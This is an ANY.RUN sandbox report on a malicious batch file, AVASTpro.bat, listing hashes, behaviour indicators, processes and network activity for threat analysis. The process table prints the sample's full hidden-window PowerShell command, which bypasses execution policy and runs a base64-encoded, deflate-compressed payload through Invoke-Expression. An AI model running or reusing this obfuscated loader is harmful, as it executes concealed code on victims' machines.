Malware analysis AVASTpro.bat Malicious activity | ANY.RUN

Add for printing

File name:	AVASTpro.bat
Full analysis:	https://app.any.run/tasks/05ded742-3585-4f63-9a9a-b7c61abac4b6
Verdict:	Malicious activity
Analysis date:	July 01, 2025, 13:41:02
OS:	Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME:	text/x-msdos-batch
File info:	DOS batch file, ASCII text, with very long lines (6485)
MD5:	8CAC82405C68D052A6FF332354BF50BF
SHA1:	EA78A1BCB1E8AA16D57B2E63EC1B27E5E8068148
SHA256:	9F59A39FDA4A2A4BFA07597F6AFB95FB3B6C87D1CED51E5762D67815974CF58E
SSDEEP:	96:DgHKGms6DxpD9VV9tWTKA+4JdSSShaHKGms6DxpD9VV9tWTKA+4JdSSSh1:Dgvla7L54Ka/S4vla7L54Ka/S7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (133.0.6943.127)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (133.0.3065.92)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (136.0)
Mozilla Maintenance Service (136.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

Add for printing

MALICIOUS
- Run PowerShell with an invisible window
  - powershell.exe (PID: 5712)
- Changes powershell execution policy (Bypass)
  - cmd.exe (PID: 4968)
- Bypass execution policy to execute commands
  - powershell.exe (PID: 5712)
SUSPICIOUS
- Starts POWERSHELL.EXE for commands execution
  - cmd.exe (PID: 4968)
- The process hide an interactive prompt from the user
  - cmd.exe (PID: 4968)
- Possibly malicious use of IEX has been detected
  - cmd.exe (PID: 4968)
- Executes script without checking the security policy
  - powershell.exe (PID: 5712)
- The process bypasses the loading of PowerShell profile settings
  - cmd.exe (PID: 4968)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 5712)
- Uses sleep to delay execution (POWERSHELL)
  - powershell.exe (PID: 5712)
INFO
- Gets a random number, or selects objects randomly from a collection (POWERSHELL)
  - powershell.exe (PID: 5712)
- Checks whether the specified file exists (POWERSHELL)
  - powershell.exe (PID: 5712)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 5712)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

139

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2136

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

4968

C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\AVASTpro.bat" "

C:\Windows\System32\cmd.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll

5712

C:\WINDOWS\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"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\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll

7120

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

Add for printing

Total events

4 366

Read events

4 366

Write events

Delete events

Modification events

No data

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
5712	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bz0dks3a.hgo.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5712	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:151C2E3527C16CBA149C407E5B6BDEE2	SHA256:F2B277A6286D38375218BF2ACE0E0EDA30F6B091FCA1E40979DFE5757E2F9E8E
5712	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lbcvgtio.ljr.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1268	svchost.exe	GET	200	23.35.229.160:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
1268	svchost.exe	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
2876	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
1096	SIHClient.exe	GET	200	184.25.54.100:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
1096	SIHClient.exe	GET	200	184.25.54.100:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
5944	MoUsoCoreWorker.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
1268	svchost.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4444	RUXIMICS.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
1268	svchost.exe	23.48.23.156:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
1268	svchost.exe	23.35.229.160:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
2876	svchost.exe	40.126.31.0:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
2876	svchost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
5944	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	40.127.240.158 4.231.128.59	whitelisted
google.com	172.217.18.14	whitelisted
crl.microsoft.com	23.48.23.156 23.48.23.143	whitelisted
www.microsoft.com	23.35.229.160 184.25.54.100	whitelisted
login.live.com	40.126.31.0 20.190.159.129 20.190.159.128 20.190.159.0 20.190.159.2 40.126.31.69 20.190.159.131 20.190.159.64	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
nexusrules.officeapps.live.com	52.111.227.14	whitelisted
slscr.update.microsoft.com	20.109.210.53	whitelisted
fe3cr.delivery.mp.microsoft.com	20.242.39.171	whitelisted
client.wns.windows.com	172.211.123.250	whitelisted

Threats

No threats detected

Add for printing

No debug info

General Info

AVASTpro.bat

8CAC82405C68D052A6FF332354BF50BF

EA78A1BCB1E8AA16D57B2E63EC1B27E5E8068148

9F59A39FDA4A2A4BFA07597F6AFB95FB3B6C87D1CED51E5762D67815974CF58E

96:DgHKGms6DxpD9VV9tWTKA+4JdSSShaHKGms6DxpD9VV9tWTKA+4JdSSSh1:Dgvla7L54Ka/S4vla7L54Ka/S7

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Run PowerShell with an invisible window

Changes powershell execution policy (Bypass)

Bypass execution policy to execute commands

SUSPICIOUS

Starts POWERSHELL.EXE for commands execution

The process hide an interactive prompt from the user

Possibly malicious use of IEX has been detected

Executes script without checking the security policy

The process bypasses the loading of PowerShell profile settings

Uses base64 encoding (POWERSHELL)

Uses sleep to delay execution (POWERSHELL)

INFO

Gets a random number, or selects objects randomly from a collection (POWERSHELL)

Checks whether the specified file exists (POWERSHELL)

Script raised an exception (POWERSHELL)

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings